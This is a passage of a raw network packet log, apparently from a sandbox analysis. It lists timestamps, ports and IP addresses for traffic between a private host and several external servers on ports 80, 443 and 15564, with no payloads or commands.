Oct 29, 2021 14:11:12.025307894 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:12.025423050 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:12.025516033 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:12.025639057 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:12.073556900 CEST	15564	50109	185.215.113.94	192.168.2.3
Oct 29, 2021 14:11:12.073683977 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:12.073728085 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:12.073764086 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:12.073802948 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:12.073831081 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:12.076596022 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:12.108294010 CEST	50109	15564	192.168.2.3	185.215.113.94
Oct 29, 2021 14:11:12.166712046 CEST	15564	50109	185.215.113.94	192.168.2.3
Oct 29, 2021 14:11:12.246505976 CEST	50109	15564	192.168.2.3	185.215.113.94
Oct 29, 2021 14:11:12.621012926 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:12.621064901 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:12.689245939 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:12.697377920 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:12.704837084 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:12.705737114 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:12.730592966 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.730648041 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.737463951 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.740113020 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.740149021 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.773052931 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:12.781582117 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.781745911 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.785096884 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:12.785152912 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:12.785192013 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:12.785229921 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:12.785267115 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:12.785326958 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:12.785366058 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:12.785404921 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:12.785442114 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:12.785480976 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:12.796159029 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.796175003 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:12.797924995 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.797940016 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.798521042 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.806279898 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:12.828447104 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.863647938 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:12.863701105 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:12.863744974 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:12.863786936 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:12.863846064 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:12.863883018 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:12.864589930 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:12.868927956 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.869304895 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.869455099 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.869539022 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.869600058 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.869661093 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.869676113 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.869712114 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.869836092 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.869900942 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.869966984 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.869987011 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.870017052 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.870054007 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.870107889 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.870115995 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.870136023 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.870235920 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.870306969 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.870377064 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.870439053 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.870501995 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.870512009 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.870562077 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.870635986 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.870731115 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.870795965 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.870851994 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.870913029 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.870984077 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.871042967 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.871107101 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.871170044 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.871227026 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.871525049 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.871546984 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.871568918 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.871620893 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.872602940 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.872623920 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.872652054 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.873496056 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.873606920 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:12.873657942 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:12.873697042 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:12.873739004 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:12.873776913 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:12.873815060 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:12.873853922 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:12.873889923 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:12.873929024 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:12.873965025 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:12.874005079 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:12.874043941 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:12.874080896 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:12.874120951 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:12.874507904 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.874706030 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:12.875514984 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:12.876656055 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:12.887687922 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.887821913 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.887897015 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.887978077 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.888071060 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.888149023 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.888530016 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.888549089 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.888567924 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.889513969 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.889544010 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.889585972 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.890274048 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.890290022 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.890387058 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.890485048 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.906486034 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.906588078 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.906670094 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.906747103 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.906830072 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.906899929 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.906980991 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.907524109 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.907552004 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.908499002 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.908514977 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.908631086 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.909488916 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.909504890 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.910507917 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.910557032 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.911526918 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.911557913 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.912522078 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.912539959 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.913494110 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.913511038 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.913599014 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.913610935 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.913635969 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.913661957 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.913690090 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.913697958 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.913718939 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.913781881 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.913795948 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.913856030 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.913868904 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.913887978 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.913938999 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.913953066 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.914021015 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.914031982 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.914088964 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.914171934 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.928656101 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.928708076 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.928766966 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.928792000 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.928864002 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.929049015 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.929090977 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.929225922 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.929239035 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.929332018 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.929439068 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.929476023 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.929529905 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.929541111 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.929605007 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.929825068 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.929862022 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.929909945 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.929919958 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.929990053 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.930262089 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.930299997 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.930352926 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.930366039 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.930408001 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.930644035 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.930681944 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.930922985 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.930939913 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.930995941 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.931026936 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.931066036 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.931430101 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.931444883 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.931479931 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.931485891 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.931543112 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.931556940 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.931574106 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.931674957 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.931824923 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.931863070 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.931921005 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.931931973 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.931986094 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.932033062 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.932154894 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:12.932198048 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:12.932236910 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:12.932272911 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:12.932272911 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.932312012 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:12.932328939 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.932351112 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:12.932378054 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:12.932388067 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:12.932425976 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:12.932463884 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:12.932476997 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.932492018 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.932499886 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:12.932538033 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:12.932574987 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:12.932575941 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:12.932578087 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.932657957 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:12.933332920 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.933372021 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.933502913 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.933517933 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.933784008 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.933820963 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.934205055 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.934505939 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.934519053 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.934623003 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.935506105 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.935520887 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.936491966 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.936506033 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.936968088 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.936981916 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.937100887 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.937207937 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.937235117 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.937294960 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.937303066 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.937314034 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.937403917 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.937417030 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.937478065 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.938246965 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.938343048 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.941812992 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:12.941855907 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:12.941891909 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:12.941930056 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:12.942425966 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:12.942456961 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:12.942480087 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:12.942500114 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:12.942521095 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:12.942521095 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:12.942542076 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:12.942563057 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:12.942585945 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:12.942606926 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:12.942627907 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:12.942648888 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:12.942668915 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:12.942698002 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:12.942719936 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:12.942742109 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:12.942763090 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:12.942783117 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:12.942805052 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:12.943506956 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:12.943623066 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:12.943660975 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:12.943711042 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:12.943732977 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:12.943753958 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:12.943774939 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:12.944533110 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:12.945504904 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:12.949894905 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.949938059 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.950117111 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.950176954 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.950598955 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.950628042 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.951493025 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.951508045 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.952491045 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.952923059 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.953059912 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.954600096 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.954641104 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.955001116 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.955065966 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.955423117 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.957340956 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.959553957 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.959583044 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.959605932 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.960555077 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.960638046 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.960659027 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.960726023 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.960737944 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.960756063 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.960827112 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.960830927 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.960874081 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.960978985 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.960994005 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.961019993 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.961030006 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.961143017 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.961158037 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.961196899 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.961208105 CEST	443	50111	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:12.961273909 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.961287975 CEST	50111	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:12.961328030 CEST	50111	443	192.168.2.3	162.159.135.233
